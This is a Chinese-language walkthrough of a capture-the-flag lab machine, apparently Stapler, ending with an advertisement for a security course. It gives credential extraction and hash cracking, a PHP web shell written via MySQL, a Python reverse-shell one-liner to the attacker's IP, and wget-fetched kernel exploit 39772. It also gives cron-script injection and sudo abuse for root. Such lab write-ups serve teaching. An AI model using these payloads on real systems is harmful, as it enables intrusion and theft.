重新ssh连接靶机,进入blogblog目录下查看一下有哪些可以利用的文件
查看一下wp-config.php文件内容,发现root用户的账号和密码
连接mysql数据库:mysql -uroot -pplbkac -h 192.168.47.142
执行下面这些命令:
show databases;
use wordpress
show tables;
desc wp_users; //获得关于用户表的更多信息
select user_login,user_pass from wp_users;
最终获得登录用户和密码
密码是加密过的,可以复制出来整理
使用hash-identifier工具,复制任意一个密码看这是什么hash算法加密
P P PBlumbJRRBit7y50Y17.UPJ/xEgv4my0
发现是md5加密
用john工具配合kali自带字典进行爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt sql1.txt
找到登录的页面/wp-login.php,经过尝试,只有一组密码能登入进去
账号:john 密码:incorrect
来到后台页面
在plugins中发现了可以文件上传的地方
获取靶机shell(方法二:文件上传反弹shell脚本)
locate php-reverse-shell.php //查看反弹shell的脚本
cp /usr/share/webshells/php/php-reverse-shell.php . //下载php木马到本地
vim php-reverse-shell.php //用vim编辑器修改里面的内容
把ip修改为kali的ip
复制php文件到桌面上
上传php文件
开启靶机监听:nc -lvp 1234
访问这个目录:https://192.168.47.142:12380/blogblog/wp-content/uploads/
点击刚刚上传的php文件
kali成功监听到该操作,获得靶机shell
提权的部分放到后面再讲
端口139:SMB服务
SMB是一种网络协议,用于在计算机之间共享文件、打印机以及其他资源。SMB协议允许计算机上的不同设备之间进行文件和资源的共享,使得多个计算机可以在网络上协同工作。
使用enum4linux工具枚举Windows和Samba主机中的数据:enum4linux -a 192.168.47.142 | tee smb.txt
这个命令的目的是在给定的目标主机上执行全面的 SMB 枚举,并将结果保存到 smb.txt 文件中。
在结果中发现两个可以连接的共享路径
利用smbclient工具连进SMB服务:smbclient -N //192.168.47.142/tmp,没发现什么有用信息
这个命令的目的是通过 SMB 协议连接到 192.168.47.142 主机上的 /tmp 共享目录,-N表示以匿名方式登录(无密码)。
连接/kathy目录:smbclient -N //192.168.47.142/kathy,也没有发现什么有用信息
端口666:未知服务
对于未知服务,可以尝试用nc去连接:nc 192.168.47.142 666
发现是一个压缩包,并且其中还有一个图片
将数据重定向到本地并解压:nc 192.168.47.142 666 > 666 && unzip 666
通过 nc 命令从远程主机下载数据,并保存到本地文件 666,使用 unzip 命令解压缩名为 666 的文件
得到一张图片
端口3306:MySQL服务
获取靶机shell(方法三:MySQL写马获取shell)
用前面获取到的账号密码连接数据库:mysql -uroot -pplbkac -h 192.168.47.142
写入shell文件:SELECT “<?php system($\_GET['cmd']); ?>” into outfile “/var/www/https/blogblog/wp-content/uploads/mysqlshell.php”;
页面访问这个shell文件:
https://192.168.47.142:12380/blogblog/wp-content/uploads/mysqlshell.php?cmd=id
传入cmd=id有回显,说明写入shell成功
kali开启监听:nc -lvp 1111
给cmd传入python反弹shell的命令:
cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.47.129”,1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
这段代码的作用是建立一个反向 shell 连接,使攻击者能够通过网络连接远程执行 shell 命令,并且这些命令的输入输出都会通过网络传输。其中s.connect((“192.168.47.129”,1111)): 连接指定 IP 地址(192.168.47.129)和端口号(1111)的远程监听程序。
kali中成功监听到该操作,获得靶机shell
(3)提权
方法一:内核提权
查看系统版本内核:uname -a
根据内核版本找到可利用的exp:searchsploit Linux Kernel 4.4.x
39772这个可以利用
在gitee上下载39772的压缩包:
wget https://gitee.com/novaiminipekka/exploitdb-bin-sploitsss/raw/master/bin-sploits/39772.zip
将其解压:unzip 39772.zip
文件夹下有两个子文件,我们需要将exploit.tar上传到靶机中
用python开启一个http服务:python -m http.server 8001
在靶机shell中下载exploit.tar文件:wget http://192.168.47.129:8001/39772/exploit.tar
将其解压:tar xvf exploit.tar
进入ebpf_mapfd_doubleput_exploit/目录,执行./compile.sh和./doubleput命令
成功获得root权限
方法二:sudo提权
ssh连接获得靶机shell:ssh SHayslett@192.168.47.142
查看靶机的bash命令历史:cat /home/*/.bash_history | grep -v exit
这个命令的目的是查看所有用户在 Bash Shell 中执行的命令历史记录,但将包含 “exit” 的行过滤掉,只显示其他命令历史记录。
发现两个ssh用户
先用这个账号密码登录:账号JKanode 密码thisimypassword
再用这个账号密码登录:账号peter 密码JZQuyIN5
发现peter有sudo权限
查看sudo权限:sudo -l
(ALL : ALL) ALL: 第一个 ALL 表示用户可以以任何用户身份执行,第二个 ALL 表示可以执行任何命令,最后的 ALL 表示可以在任何主机上执行。
这行配置表示peter在主机red上有超级用户权限,可以以任何用户身份执行任何命令。这是一种非常开放的权限设置,需要谨慎使用。
获取root权限:sudo su - root
成功拿到flag
方法三:写入定时任务提权
查找和logrotate相关的文件信息:find / -name logrotate* 2>/dev/null
查看这个文件内容:cat /etc/cron.d/logrotate
文件内容显示:*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
表示每五分钟运行一次cron-logrotate.sh
插入代码:echo “cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit” >> /usr/local/sbin/cron-logrotate.sh
查看这个文件内容是否被写入:cat /usr/local/sbin/cron-logrotate.sh
等待五分钟,执行/tmp/exploit -p
成功获得root权限
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!